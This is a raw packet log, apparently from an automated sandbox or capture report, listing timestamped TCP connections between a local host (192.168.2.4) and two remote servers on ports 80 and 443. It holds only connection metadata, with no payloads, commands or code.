Nov 2, 2024 07:16:09.160762072 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.160773039 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.160842896 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.160844088 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.160958052 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.160975933 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.160988092 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161005020 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.161035061 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.161346912 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161406994 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.161410093 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161422014 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161432981 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161463022 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.161463022 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.161494017 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.161905050 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161952972 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.161971092 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.162003040 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.162146091 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.162157059 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.162167072 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.162178040 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.162189007 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.162199974 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.162199974 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.162228107 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.162256956 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.163079023 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.163094044 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.163105965 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.163115978 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.163129091 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.163129091 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.163168907 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.163168907 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.165690899 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.165723085 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.165744066 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.165776014 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.165854931 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.165863991 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.165905952 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.247932911 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.247952938 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.248016119 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.248023987 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.248064995 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.248234034 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.248248100 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.248264074 CET	63795	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.248270035 CET	443	63795	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.250566959 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.250607014 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.250679016 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.250802994 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.250817060 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.283808947 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283870935 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.283921957 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283931017 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283936977 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283941984 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283947945 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283957005 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.283991098 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284001112 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284001112 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284012079 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284020901 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284049034 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284049034 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284085035 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284364939 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284410954 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284426928 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284431934 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284440041 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284451008 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284451962 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284470081 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284499884 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284862995 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284873962 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284888029 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284898996 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284909964 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284920931 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284923077 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284924030 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284934044 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284944057 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284948111 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284955978 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.284972906 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.284991980 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285311937 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285352945 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285363913 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285365105 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285387039 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285393953 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285402060 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285404921 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285415888 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285444021 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285444975 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285470009 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285475969 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285485983 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285495996 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285509109 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285520077 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285522938 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285531044 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.285545111 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285563946 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.285584927 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286268950 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286281109 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286290884 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286302090 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286314011 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286324024 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286323071 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286335945 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286345005 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286366940 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286374092 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286386013 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286386013 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286396980 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286407948 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286417961 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286427021 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286427975 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286431074 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.286447048 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.286474943 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407201052 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407221079 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407231092 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407241106 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407252073 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407259941 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407263994 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407270908 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407279968 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407289028 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407308102 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407318115 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407329082 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407339096 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407347918 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407347918 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407386065 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407386065 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407386065 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407391071 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407402039 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407439947 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407439947 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407522917 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407569885 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407573938 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407584906 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407594919 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407627106 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407660961 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407670021 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407674074 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407680035 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407690048 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407699108 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407706022 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407725096 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407763958 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.407983065 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.407994032 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408004999 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408035040 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408051014 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408052921 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408061981 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408073902 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408085108 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408091068 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408108950 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408137083 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408168077 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408179045 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408189058 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408205032 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408216000 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408226013 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408241034 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408241034 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408242941 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408252954 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408263922 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408265114 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408277035 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408279896 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408313036 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408816099 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408868074 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.408945084 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408956051 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408965111 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408983946 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.408996105 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409001112 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409008026 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409018993 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409019947 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409060001 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409060001 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409219027 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409230947 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409241915 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409274101 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409292936 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409296989 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409307957 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409317970 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409334898 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409347057 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409349918 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409363031 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409375906 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409389973 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409390926 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409392118 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409399986 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409410954 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409411907 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409423113 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409430981 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409434080 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.409446955 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409466028 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.409487963 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412288904 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412343025 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412344933 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412355900 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412390947 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412390947 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412461042 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412472010 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412482023 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412497044 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412506104 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412508011 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412533998 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412535906 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412547112 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412549973 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412559032 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412570000 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412580013 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412590027 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412600994 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412600994 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412601948 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412626982 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412641048 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.412986040 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.412995100 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413032055 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413075924 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413091898 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413105011 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413115978 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413121939 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413152933 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413152933 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413238049 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413283110 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413300991 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413316965 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413327932 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413338900 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413351059 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413351059 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413382053 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413383007 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413542986 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413553953 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413563967 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413599968 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413604975 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413616896 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413616896 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413629055 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413640976 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413645983 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413651943 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413662910 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413672924 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413674116 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.413672924 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413701057 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.413727999 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.452172041 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.452212095 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.452222109 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.452234030 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.452277899 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.482676029 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.483115911 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.483139038 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.483541965 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.483551979 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.530071020 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530080080 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530087948 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530092955 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530102015 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530107975 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530112028 CET	80	63794	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:09.530302048 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.530302048 CET	63794	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:09.543199062 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.543541908 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.543561935 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.543957949 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.543962955 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.621706009 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.622203112 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.622241974 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.623660088 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.623672009 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.680013895 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.680054903 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.680126905 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.731223106 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.731232882 CET	443	63797	13.107.246.45	192.168.2.4
